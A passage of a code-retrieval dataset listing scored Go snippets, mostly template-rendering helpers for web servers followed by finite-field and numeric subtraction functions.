http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "8c4e4a992157ab0370a7a686519e48fb", "score": "0.6787824", "text": "func (ctx *Context) Render(file string, data ...map[string]interface{}) {\n\tif ctx.templateLoader == \"\" {\n\t\tpanic(fmt.Errorf(\"Template loader has not been set\"))\n\t}\n\tvar renderData map[string]interface{}\n\tif len(data) == 0 {\n\t\trenderData = make(map[string]interface{})\n\t} else {\n\t\trenderData = data[0]\n\t}\n\trenderData[\"xsrf_token\"] = ctx.xsrfToken()\n\tcontent, err := ctx.App.View.Render(ctx.templateLoader, file, renderData)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tctx.Send(content)\n}", "title": "" }, { "docid": "571c5c7ba8f7924d79123a98fbdcf478", "score": "0.6781079", "text": "func RenderFile(filename string, context interface{}) string {\n\tcwd := os.Getenv(\"CWD\")\n\tfilepath := cwd + \"templates/\" + filename + \".mustache\"\n\tf, err := os.Open(filepath)\n\tf.Close()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\ttemplate, err := ioutil.ReadFile(filepath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tbody := RenderString(string(template), context)\n\treturn body\n}", "title": "" }, { "docid": "607392d9a2bb114fc9701f78e04341a5", "score": "0.67511445", "text": "func render(name string, w http.ResponseWriter, data interface{}) {\n\terr := templates.ExecuteTemplate(w, name, data)\n\tif err != nil {\n\t\tlog.Println(errors.Wrap(err, \"rendering template\"))\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tfmt.Fprintf(w, \"Error\")\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "1378a4701ebe8f5c29ff384aab770012", "score": "0.67347753", "text": "func Render(w http.ResponseWriter, r *http.Request, tpl *template.Template, name string, data interface{}) {\n\tbuf := new(bytes.Buffer)\n\tif err := tpl.ExecuteTemplate(buf, name, data); err != nil {\n\t\tutil.Print(\"\\nRender Error\" + err.Error() + \"\\n\")\n\t\treturn\n\t}\n\tw.Write(buf.Bytes())\n}", "title": "" }, { "docid": "54b0830ea6885af178a682cd75211b66", "score": "0.6732213", "text": "func executeTemplate(w http.ResponseWriter, templateName string, data interface{}) {\n\tpr(\"executeTemplate: \" + templateName)\n\n\tif flags.debug != \"\" {\n\t\tparseTemplateFiles()\n\t}\n\n\t// Note: htemplate does HTML-escaping, which prevents against HTML-injection attacks!\n\t// ttemplate does not, but is necessary for rendering HTML, such as auto-generated forms.\n\t_, ok := htemplates[templateName]\n\tvar err error\n\tif ok {\n\t\terr = htemplates[templateName].Execute(w, data)\n\t} else {\n\t\terr = ttemplates[templateName].Execute(w, data)\n\t}\n\tif err != nil {\n\t\tprVal(\"executeTemplate err\", err)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "2e144b59ecb1ac95e883779de43ff3c7", "score": "0.67306584", "text": "func (r *Renderer) ExecuteTemplate(wr io.Writer, name string, data interface{}) error {\n\text := filepath.Ext(name)\n\tmtype := mime.TypeByExtension(ext)\n\tif strings.HasPrefix(mtype, \"text/html\") {\n\t\tif r.htmlplates == nil {\n\t\t\treturn errors.New(\"no HTML templates found\")\n\t\t}\n\t\treturn r.htmlplates.ExecuteTemplate(wr, name, data)\n\t}\n\tif r.templates == nil {\n\t\treturn errors.New(\"no text templates found\")\n\t}\n\treturn r.templates.ExecuteTemplate(wr, name, data)\n}", "title": "" }, { "docid": "c0060c9f7c103b33491dcc2cc898921a", "score": "0.6730373", "text": "func (app *Application) render(w http.ResponseWriter, r *http.Request, name string, td *templateData) {\n\tts, ok := app.templateCache[name]\n\tif !ok {\n\t\tapp.serverError(w, fmt.Errorf(\"The template %s does not exist\", name))\n\t\treturn\n\t}\n\n\t// Initialize a new buffer.\n\tbuf := new(bytes.Buffer)\n\n\t// Write the template to the buffer, instead of straight to the\n\t// http.ResponseWriter. If there's an error, call our serverError helper and then\n\t// return.\n\terr := ts.Execute(buf, app.addDefaultData(td, r))\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t\treturn\n\t}\n\n\t// Write the contents of the buffer to the http.ResponseWriter. Again, this\n\t// is another time where we pass our http.ResponseWriter to a function that\n\t// takes an io.Writer.\n\tbuf.WriteTo(w)\n}", "title": "" }, { "docid": "4b45585478c8f04b60001585e5e93cd4", "score": "0.67220795", "text": "func render(w http.ResponseWriter, r *http.Request, tmpl string, data interface{}) {\r\n\tlog.Printf(\"controllers/controllers.go > INFO > render() > %s\", tmpl)\r\n\r\n\t// var tpl bytes.Buffer\r\n\t// e := templates[tmpl].Execute(&tpl, data)\r\n\t// if e != nil {\r\n\t// \tlog.Debug(tmpl)\r\n\t// \tlog.Error(e)\r\n\t// }\r\n\t// log.Debug(tpl.String())\r\n\r\n\t// Set the content type.\r\n\tw.Header().Set(\"Content-Type\", \"text/html\")\r\n\r\n\t// Execute the template.\r\n\terr := templates[tmpl].Execute(w, data)\r\n\tif err != nil {\r\n\t\tlog.Printf(\"controllers.go > ERROR > render() > %v\", err)\r\n\t\t//fmt.Println(err)\r\n\t}\r\n}", "title": "" }, { "docid": "7ca1b8e58935d6ec4a2e51597db72a2c", "score": "0.6708381", "text": "func runTemplate(w http.ResponseWriter, r *http.Request, name string) {\n\tbuf := new(bytes.Buffer)\n\tT(name).Execute(buf, nil) // TODO add correct data here\n\tbuf.WriteTo(w)\n}", "title": "" }, { "docid": "70107d29071c3a5fe07f77fcc8aafdb8", "score": "0.66744405", "text": "func serveTemplate(w http.ResponseWriter, templatePath string, templateName string, data interface{}) {\n\tpage, err := template.ParseFiles(templatePath)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\thttp.Error(w, http.StatusText(500), 500)\n\t\treturn\n\t}\n\n\terr = page.ExecuteTemplate(w, templateName, data)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\thttp.Error(w, http.StatusText(500), 500)\n\t}\n}", "title": "" }, { "docid": "a282ec2d28b43db72c80cb1f3e908f01", "score": "0.66727966", "text": "func parseTemplate(templateFileName string, data interface{}) (string, error) {\n\tt, err := template.ParseFiles(templateFileName)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbuf := new(bytes.Buffer)\n\tif err = t.Execute(buf, data); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "98e1e73eb27b4f597fd7b06d6bd0425a", "score": "0.6660433", "text": "func (p *PageFactory) Render() string {\n var htmlBytes bytes.Buffer\n t, _ := template.ParseFiles(p.TemplatePath)\n t.Execute(&htmlBytes, p)\n return htmlBytes.String()\n}", "title": "" }, { "docid": "1f22c40536fae38c93cfc2a6443e21be", "score": "0.6644539", "text": "func (m *Email) RenderTemplate(templateName string, templateContent interface{}) (string, error) {\n\tfileName := filepath.Join(templatesPath, templateName)\n\tfile, err := template.ParseGlob(fileName)\n\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(errLoadTemplate, err.Error())\n\t}\n\n\tout := &bytes.Buffer{}\n\n\tif err := file.Execute(out, templateContent); err != nil {\n\t\treturn \"\", errors.Wrap(errParseTemplate, err.Error())\n\t}\n\n\treturn out.String(), nil\n}", "title": "" }, { "docid": "09191bfdc5ca7e048eaafe169ce54435", "score": "0.66435283", "text": "func (tmpls htmlTemplates) render(name string, data templateData) (string, error) {\n\tbuf := bytes.NewBufferString(\"\")\n\tif err := tmpls.templates.ExecuteTemplate(buf, name, data); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "b52c130e0e410dd61d367d26c33d15cf", "score": "0.6640331", "text": "func renderTemplate(w http.ResponseWriter, id string, d interface{}) bool {\n\tif t, err := template.New(id).ParseFiles(\"./templates/\" + id); err != nil {\n\t\thttp.Error(w, errors.Wrap(err, \"Could not render template\").Error(), http.StatusInternalServerError)\n\t\treturn false\n\t} else if err := t.Execute(w, d); err != nil {\n\t\thttp.Error(w, errors.Wrap(err, \"Could not render template\").Error(), http.StatusInternalServerError)\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "0bf7976cf2b349f2fbc03395a6cd6910", "score": "0.66270214", "text": "func (t *Template) Render(tmplName string, common CommonProps, contents interface{}) ([]byte, error) {\n\tbuf := bytes.NewBuffer(nil)\n\terr := t.tmpls.ExecuteTemplate(buf, tmplName, TmplProps{Common: common, Contents: contents})\n\tif err != nil {\n\t\tlog.Println(\"Error: failed to execute template\", tmplName, \", because\", err)\n\t}\n\n\treturn buf.Bytes(), err\n}", "title": "" }, { "docid": "9429cfd181f549969514ca6080c71774", "score": "0.662478", "text": "func (c *Controller) RenderTemplate(t *template.Template, vars interface{}) []byte {\n\tout := bytes.NewBuffer(nil)\n\terr := t.Execute(out, vars)\n\tif err != nil {\n\t\tlog.Panicln(err)\n\t}\n\treturn out.Bytes()\n}", "title": "" }, { "docid": "e5d124f553f162b290080af7fb196ef6", "score": "0.6591022", "text": "func RenderTemplate(tmplString string, i interface{}) (rendered string, e error) {\n\ttpl := template.New(\"\")\n\ttpl, e = tpl.Parse(tmplString)\n\tif e != nil {\n\t\treturn \"\", e\n\t}\n\n\tresultBuffer := &bytes.Buffer{}\n\te = tpl.Execute(resultBuffer, i)\n\treturn string(resultBuffer.Bytes()), e\n}", "title": "" }, { "docid": "eaee12bfd9a440cd8e1a214edd3bd21f", "score": "0.65764433", "text": "func Render(w http.ResponseWriter, name string, data interface{}) {\n\t// Lets reparse the specific template when in dev mode so we dont have to restart the app\n\tif tpl == nil || !lib.CFG.Production {\n\t\tre := regexp.MustCompile(`templates[\\\\/]([A-Z\\-_0-9a-z/\\\\]+).html`)\n\t\ttpl = template.New(\"tpl\").Funcs(funcs)\n\n\t\tfilepath.Walk(\"templates\", func(path string, info os.FileInfo, err error) error {\n\t\t\tmatch := re.FindStringSubmatch(path)\n\t\t\tif len(match) > 0 {\n\t\t\t\tar, err := ioutil.ReadFile(match[0])\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Panic(err)\n\t\t\t\t}\n\n\t\t\t\t_, err = tpl.New(strings.Replace(match[1], `\\`, \"/\", 500)).Parse(string(ar))\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Panic(err)\n\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf8\")\n\n\tif err := tpl.ExecuteTemplate(w, name, data); err != nil {\n\t\tlog.Panic(err)\n\t}\n}", "title": "" }, { "docid": "8792dc1724920033bec1e125adbd9d24", "score": "0.6576275", "text": "func RenderTemplate(w http.ResponseWriter, r *http.Request) {\n\trequest := RenderTemplateRequest{}\n\terr := json.NewDecoder(r.Body).Decode(&request)\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tpdf, err := document.NewPDF()\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tpdf.SetOptions(request.DocumentOptions)\n\terr = pdf.RenderByTemplate(w, request.TemplateName, request.Data)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "944856c591d69b3210122032488b40b1", "score": "0.6557715", "text": "func (s *Server) executeTemplate(w http.ResponseWriter, data interface{}, withLayout bool, fileNames ...string) {\n\ttplRoot := s.StaticFileDir + \"/tpls\"\n\tvar files []string\n\tif withLayout {\n\t\tfiles = append(files, tplRoot+\"/layout.gohtml\")\n\t}\n\tfor _, file := range fileNames {\n\t\tfiles = append(files, tplRoot+\"/\"+file+\".gohtml\")\n\t}\n\n\terr := template.Must(template.ParseFiles(files...)).Execute(w, data)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n}", "title": "" }, { "docid": "f5f4e6d9af78918367e092c4935a361c", "score": "0.65563756", "text": "func RenderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n\tif err != nil {\n\t\t// http.StatusInternalServerError = 500\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "9d4cd376a678ffb206f42121e5829643", "score": "0.6554158", "text": "func RenderTemplate(w io.Writer, text string, data interface{}) {\n\tt := template.New(\"top\")\n\tt.Funcs(template.FuncMap{\"trim\": strings.TrimSpace})\n\ttemplate.Must(t.Parse(text))\n\tif err := t.Execute(w, data); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "f2e54b048fdcf3cc8f0aebd2a7affef9", "score": "0.65367025", "text": "func (r *BkcmdbReconciler) renderTemplate(tmplName, contentTemplate string, cmdbConfig *CmdbConfig) (string, error) {\n\ttmpl, err := template.New(tmplName).Parse(contentTemplate)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar tplOutput bytes.Buffer\n\tif err := tmpl.Execute(&tplOutput, cmdbConfig); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn tplOutput.String(), nil\n}", "title": "" }, { "docid": "830a518e5cf68e73bdbc9b24b86f7085", "score": "0.65312487", "text": "func (h *haproxy) renderTemplate(s *Service) (string, error) {\n\ttmp, err := ioutil.TempFile(\"\", \"doki-doki\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\terr = h.template.Execute(tmp, s)\n\tif err != nil {\n\t\t_ = os.Remove(tmp.Name())\n\t\treturn \"\", err\n\t}\n\n\treturn tmp.Name(), nil\n}", "title": "" }, { "docid": "6d4e87dd17b09bb9669dccda0bdb7140", "score": "0.6517805", "text": "func (c *Controller) RenderTemplate(templatePath string) Result {\n\n\t// Get the Template.\n\ttemplate, err := MainTemplateLoader.Template(templatePath)\n\tif err != nil {\n\t\treturn c.RenderError(err)\n\t}\n\n\treturn &RenderTemplateResult{\n\t\tTemplate: template,\n\t\tRenderArgs: c.RenderArgs,\n\t}\n}", "title": "" }, { "docid": "6a37a614044aac705b27693d3c556d08", "score": "0.6510975", "text": "func RenderTemplate(_ context.Context, logger log.Logger, name string, t Template , valuesYAML []byte, outDir string) (err error) {\n\t// TODO(bwplotka): Parse values & validate through API (!).\n\t// TODO(bwplotka): Allow passing more parameters (e.g kubernetes options).\n\tvar objectGroups rndrapi.Groups\n\n\tswitch {\n\tcase t.Renderer.Jsonnet != nil:\n\t\tobjectGroups, err = jsonnet.Render(logger, name, *t.Renderer.Jsonnet, valuesYAML)\n\tcase t.Renderer.Helm != nil:\n\t\tobjectGroups, err = helm.Render(logger, name, *t.Renderer.Helm, valuesYAML)\n\tcase t.Renderer.Process != nil:\n\t\treturn errors.Errorf(\"process renderer is not implemented\")\n\tdefault:\n\t\treturn errors.Errorf(\"no renderer was specified\")\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// TODO(bwplotka): Allow different dirs?\n\tfor name, resources := range objectGroups {\n\t\tdir := filepath.Join(outDir, name)\n\t\tif err := os.MkdirAll(dir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor i, r := range resources {\n\t\t\tif err := ioutil.WriteFile(filepath.Join(dir, fmt.Sprintf(\"%d-%v.yaml\", i, r.Item)), r.Object, os.ModePerm); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "62afd8897e0d8368868858ad2789ec8f", "score": "0.65108144", "text": "func ExecuteTemplate(wr io.Writer, name, viewPath string, runMode string, data interface{}) error {\n\tif viewPath == \"\" {\n\t\tviewPath = defaultViewPath\n\t}\n\treturn ExecuteViewPathTemplate(wr, name, viewPath, runMode, data)\n}", "title": "" }, { "docid": "8b8ee637704621a16f937b9ed8befc97", "score": "0.6501192", "text": "func (r *Request) ParseTemplate(templateFileName string, data interface{}) error {\n\tt, err := template.ParseFiles(templateFileName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbuf := new(bytes.Buffer)\n\tif err = t.Execute(buf, data); err != nil {\n\t\treturn err\n\t}\n\tr.body = buf.String()\n\treturn nil\n}", "title": "" }, { "docid": "dd51b4c348d13be277e52dd317bbc915", "score": "0.6441736", "text": "func renderTplToFile(tplName, fileName string, c map[string]interface{}) error {\n\t// Make sure the template does exist.\n\tt, ok := pongoal.Templates[tplName]\n\tif !ok {\n\t\treturn fmt.Errorf(`Template \"%s\" does not exist.`, tplName)\n\t}\n\n\t// Try to create the requested file.\n\tf, err := os.Create(filepath.Join(*pagesPath, fileName))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\t// Render the template.\n\tres, err := t.ExecuteBytes(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write result to the file.\n\t_, err = f.Write(res)\n\treturn err\n}", "title": "" }, { "docid": "2f9a4c7170a06464ee518066c358138c", "score": "0.6421376", "text": "func (t tPongo2) RenderTemplate(w http.ResponseWriter, r *http.Request) {\n\tvar h http.Handler\n\tc := Pongo2.New(w, r, \"Pongo2\", \"RenderTemplate\")\n\tdefer func() {\n\t\tif h != nil {\n\t\t\th.ServeHTTP(w, r)\n\t\t}\n\t}()\n\tdefer Pongo2.After(c, w, r)\n\tif res := Pongo2.Before(c, w, r); res != nil {\n\t\th = res\n\t\treturn\n\t}\n\tif res := c.RenderTemplate(\n\t\tstrconv.String(r.Form, \"templatePath\"),\n\t); res != nil {\n\t\th = res\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "c6bd132422e95ac64343b4c9361ddbb1", "score": "0.63993967", "text": "func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {\n return t.templates.ExecuteTemplate(w, name, data)\n}", "title": "" }, { "docid": "33ddfa800fdbec3e2249a9cbf80efe5f", "score": "0.63977957", "text": "func RenderTemplate(\n\ttemplate string,\n\tvariables map[string]string,\n) string {\n\treturn re.ReplaceAllStringFunc(\n\t\ttemplate,\n\t\tfunc(s string) string {\n\t\t\tm := re.FindStringSubmatch(s)\n\t\t\tr, ok := variables[m[1]]\n\t\t\tif ok {\n\t\t\t\treturn r\n\t\t\t}\n\t\t\treturn m[0]\n\t\t},\n\t)\n}", "title": "" }, { "docid": "d55d5eaf7bf3aad7b7bdc46f685ea06e", "score": "0.6370859", "text": "func renderCTemplate(wr io.Writer, config *pb.Config) error {\n\t//Load the template, parse and render it\n\tfilename := config.Name + \".c\"\n\ttmpl := template.New(filename) //create a new template\n\n\tdata, err := pb.Asset(\"assets/tpl/block.c.tpl\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif tmpl, err = tmpl.Parse(string(data[:])); err != nil {\n\t\treturn err\n\t}\n\treturn tmpl.Execute(wr, config)\n}", "title": "" }, { "docid": "5d0e725b25f38098c72b50a63d6fd2df", "score": "0.63651365", "text": "func (t *Template) ExecuteTemplate(wr io.Writer, name string, data interface{}) error {}", "title": "" }, { "docid": "b12a911d94ac257a8dc1640feee793a0", "score": "0.6355417", "text": "func (r *Template) Render(out io.Writer, params ParamMap, vars VariableMap) error {\n\tlog.Printf(\"Render template: %v %v\", r.templateName, params)\n\treturn r.template.ExecuteTemplate(out, r.templateName, struct {\n\t\tParams ParamMap\n\t\tVars VariableMap\n\t}{Params: params, Vars: vars})\n}", "title": "" }, { "docid": "e2a238aa5f461884ce14a1a5e70754ca", "score": "0.6355385", "text": "func Render(templates []string, w http.ResponseWriter, r *http.Request, data map[string]interface{}) {\n\tvar viewsDir http.FileSystem\n\tif os.Getenv(\"LOCAL_FILESYSTEM\") == \"true\" {\n\t\tviewsDir = http.Dir(path.Join(\".\", \"assets\", \"embedded-web-files\", \"views\"))\n\t} else {\n\t\tviewsDir = filesystem.Views()\n\t}\n\n\tvar err error\n\ttmpl := template.New(\"page_template\")\n\ttmpl = tmpl.Delims(\"[[\", \"]]\")\n\tfor _, template := range templates {\n\t\ttmplFile, err := viewsDir.Open(\"/\" + template + \".html\")\n\t\tif err != nil {\n\t\t\tif handleError(w, err, 500) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\ttmplContent, err := ioutil.ReadAll(tmplFile)\n\t\tif err != nil {\n\t\t\tif handleError(w, err, 500) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\ttmpl, err = tmpl.Parse(string(tmplContent))\n\t\tif err != nil {\n\t\t\tif handleError(w, err, 500) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tif handleError(w, err, 500) {\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n\n\t// Inject the request in the data. It can be used in the templates to find the\n\t// current url\n\tdata[\"request\"] = r\n\terr = tmpl.ExecuteTemplate(w, \"main_layout\", data)\n\tif handleError(w, err, 500) {\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "34d6a820318326aa3f17a41d2214fbd0", "score": "0.63202554", "text": "func execTemplateFile(path string, data interface{}) ([]byte, error) {\n\ttmpl, err := newTemplate(filepath.Base(path)).ParseFiles(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn execTemplate(tmpl, data)\n}", "title": "" }, { "docid": "9b1cde9df6977d4328251040a8c7a36a", "score": "0.6319608", "text": "func (t TemplateRenderer) Render(w io.Writer, name string, data interface{}, c echo.Context) error {\n\tif viewContext, isMap := data.(map[string]interface{}); isMap {\n\t\tviewContext[\"reverse\"] = c.Echo().Reverse\n\t}\n\treturn t.tpls.ExecuteTemplate(w, name, data)\n}", "title": "" }, { "docid": "aecb903e9fa1ed0c17da1316a51595b4", "score": "0.6313213", "text": "func processTemplate(t *testing.T, name string, data interface{}) (string, error) {\n\tt.Helper()\n\n\ttmpl, err := template.New(name).ParseFiles(path.Join(\"..\", \"acceptance\", \"data\", \"golden\", name)) // TODO: Need a better way to coordinate path construction with CWD of test\n\tif err != nil {\n\t\tt.Fail()\n\t\treturn \"\", fmt.Errorf(\"error: unable to parse template file '%s': %v\", name, err)\n\t}\n\n\tvar b bytes.Buffer\n\terr = tmpl.Execute(&b, data)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to execute template: %v\", err)\n\t}\n\n\treturn strings.TrimSpace(b.String()), nil\n}", "title": "" }, { "docid": "8112268b43b837ee61d4f669dad3b6af", "score": "0.631176", "text": "func (t *TemplateRenderer) Render(w io.Writer, name string, data interface{}, c echo.Context) error {\n\treturn t.templates.ExecuteTemplate(w, name, data)\n}", "title": "" }, { "docid": "594d851cb55bb4225a3ed74223025a9b", "score": "0.63108885", "text": "func Template(w http.ResponseWriter, r *http.Request, tmpl string, td *models.TemplateData) error {\n\tvar tc map[string]*template.Template\n\n\tif app.UseCache {\n\t\ttc = app.TemplateCache\n\t} else {\n\t\tt, err := CreateTemplateCache()\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\ttc = t\n\t}\n\n\t// Add fedault data\n\ttd = AddDefaultData(td, r)\n\n\tparsedTemplate, ok := tc[tmpl]\n\tif !ok {\n\t\tlog.Println(\"Could not load template from cache\")\n\t\treturn errors.New(\"Could not load template from cache\")\n\t}\n\n\terr := parsedTemplate.Execute(w, td)\n\tif err != nil {\n\t\tlog.Println(\"error parsing template\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1876ec5d6e8f2f38fb01ee2ab16ae00a", "score": "0.63042665", "text": "func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {\n\ttmpl, ok := templates[name]\n\tif !ok {\n\t\terr := errors.New(\"template: name not found: \" + name)\n\t\treturn err\n\t}\n\tif viewContext, isMap := data.(map[string]interface{}); isMap {\n\t\tviewContext[\"reverse\"] = c.Echo().Reverse\n\t}\n\n\tcomponents := strings.Split(name, \":\")\n\treturn tmpl.ExecuteTemplate(w, components[0], data) // layout -> defined in each layout template\n}", "title": "" }, { "docid": "7ac9981c53619e99424754cc37cf4836", "score": "0.62902683", "text": "func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {\n\treturn t.templates.ExecuteTemplate(w, name, data)\n}", "title": "" }, { "docid": "7ac9981c53619e99424754cc37cf4836", "score": "0.62902683", "text": "func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {\n\treturn t.templates.ExecuteTemplate(w, name, data)\n}", "title": "" }, { "docid": "aca6e507ec36cdfad0a3afe2fab97a19", "score": "0.62831664", "text": "func renderTemplate(templateString string, name string, context interface{}) string {\n\tfmap := template.FuncMap{\"ToLower\": strings.ToLower}\n\tt := template.Must(template.New(name).Funcs(fmap).Parse(templateString))\n\tvar buf bytes.Buffer\n\terr := t.Execute(&buf, context)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn buf.String()\n}", "title": "" }, { "docid": "4afd9b7c5c242d3a3c78f1aaac1061e2", "score": "0.62822676", "text": "func Render(tmpl *template.Template, data interface{}) string {\n\tbuffer := &bytes.Buffer{}\n\ttmpl.Execute(buffer, data)\n\treturn buffer.String()\n}", "title": "" }, { "docid": "87880c57664b71200e02deaaddbb97ba", "score": "0.6278631", "text": "func (t Templates) Render(w http.ResponseWriter, name string, layout bool, data map[string]interface{}) error {\n\t// Ensure the template exists in the map.\n\ttmpl, ok := t.templates[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"The template %s does not exist.\", name)\n\t}\n\n\t// Create a buffer to temporarily write to and check if any errors were encounted.\n\tbuf := t.buffer.Get()\n\tdefer t.buffer.Put(buf)\n\n\tif layout {\n\t\terr := tmpl.ExecuteTemplate(buf, \"base\", data)\n\t\tif err != nil {\n\t\t\tpanic(\"Error generating template: \" + name)\n\t\t}\n\t} else {\n\t\terr := tmpl.ExecuteTemplate(buf, \"content\", data)\n\t\tif err != nil {\n\t\t\tpanic(\"Error generating template: \" + name)\n\t\t}\n\t}\n\tbuf.WriteTo(w)\n\n\treturn nil\n}", "title": "" } ]
77f17513fed8bd28d4a99ddbadf45bc2
Sub holds true if and only if for FieldElements A and B, A and B are elements of Fprime, and then A.Sub(B) is an element of Fprime. Field subtraction must be commutative and associative, with the values being closed under the order.
[ { "docid": "ac2204d40c3ad64f5e5ced76918d12da", "score": "0.7786785", "text": "func (fe *FieldElement) Sub(fe2 *FieldElement) (*FieldElement, error) {\n\tif fe.prime.Cmp(fe2.prime) != 0 {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"can't subtract two numbers of different Fields; expected order %d\",\n\t\t\tfe.prime.Int64())\n\t}\n\n\tsub := big.NewInt(0).Sub(fe.num, fe2.num)\n\tmod := big.NewInt(0).Mod(sub, fe.prime)\n\n\treturn &FieldElement{num: mod, prime: fe.prime}, nil\n}", "title": "" } ]
[ { "docid": "9c41e3ce9724be359dd5d79a5caee804", "score": "0.7502696", "text": "func (f *fieldElt) Sub(a, b *fieldElt) *fieldElt {\n\tf.int().Sub(a.int(), b.int())\n\treturn f.modQ()\n}", "title": "" }, { "docid": "dcd9f5b2e95767548682f8ad6c7ed776", "score": "0.7080495", "text": "func (fe *FieldElement) Sub(a, b *FieldElement) *FieldElement {\n\t// Compute a - b as ((a + 2^4 * p) - b) to avoid underflow.\n\treturn fe.reduce(&[10]uint64{\n\t\tuint64((a.inner[0] + (0x3ffffed << 4)) - b.inner[0]),\n\t\tuint64((a.inner[1] + (0x1ffffff << 4)) - b.inner[1]),\n\t\tuint64((a.inner[2] + (0x3ffffff << 4)) - b.inner[2]),\n\t\tuint64((a.inner[3] + (0x1ffffff << 4)) - b.inner[3]),\n\t\tuint64((a.inner[4] + (0x3ffffff << 4)) - b.inner[4]),\n\t\tuint64((a.inner[5] + (0x1ffffff << 4)) - b.inner[5]),\n\t\tuint64((a.inner[6] + (0x3ffffff << 4)) - b.inner[6]),\n\t\tuint64((a.inner[7] + (0x1ffffff << 4)) - b.inner[7]),\n\t\tuint64((a.inner[8] + (0x3ffffff << 4)) - b.inner[8]),\n\t\tuint64((a.inner[9] + (0x1ffffff << 4)) - b.inner[9]),\n\t})\n}", "title": "" }, { "docid": "0988e7e8e9416d6589d9740b9fe22243", "score": "0.6182119", "text": "func Sub(a, b Dual) Dual {\n\tfor i, v := range b.data {\n\t\ta.data[i] -= v\n\t}\n\treturn a\n}", "title": "" }, { "docid": "7d1af4b0aa19fa5e508bfe45aea0f518", "score": "0.60524565", "text": "func sub(i1, i2 uint8, f *Flags) uint8 {\n\tf.setZero(i1-i2 == 0)\n\tf.setN(true)\n\tf.setH((0x0f & i2) > (0x0f & i1))\n\tf.setCarry(i2 > i1)\n\treturn i1 - i2\n}", "title": "" }, { "docid": "96047ed9abb92698b3f654bbb5d932fa", "score": "0.58946615", "text": "func (z *fq6) Sub(x, y *fq6) *fq6 {\n\tz.c0.Sub(&x.c0, &y.c0)\n\tz.c1.Sub(&x.c1, &y.c1)\n\tz.c2.Sub(&x.c2, &y.c2)\n\treturn z\n}", "title": "" }, { "docid": "fe02c2a3887931a7dc473c163edb0ad3", "score": "0.58758026", "text": "func (ns *Namespace) Sub(a, b interface{}) (interface{}, error) {\n\treturn _math.DoArithmetic(a, b, '-')\n}", "title": "" }, { "docid": "f417e45848007b98263283a03fe30ba5", "score": "0.585175", "text": "func (f *funcVal) Sub(v Val) Val {\n\tpanic(ErrInvalidOpSubOnFunc)\n}", "title": "" }, { "docid": "eb646c0eefb3734e9465582b6aad0d83", "score": "0.58275217", "text": "func (d *decompiler) exprFSub(expr *constant.ExprFSub) ast.Expr {\n\treturn d.binaryOp(expr.X, token.SUB, expr.Y)\n}", "title": "" }, { "docid": "5b593184b735be2f38b30991beba45c3", "score": "0.5817239", "text": "func Sub(x *Numeric, y *Numeric) *Numeric {\n\tz := Copy(x)\n\tz.SubEqual(y)\n\treturn z\n}", "title": "" }, { "docid": "17bfff4c8e8ab6b8cc7371fc41e14c07", "score": "0.5787406", "text": "func Sub(a, b 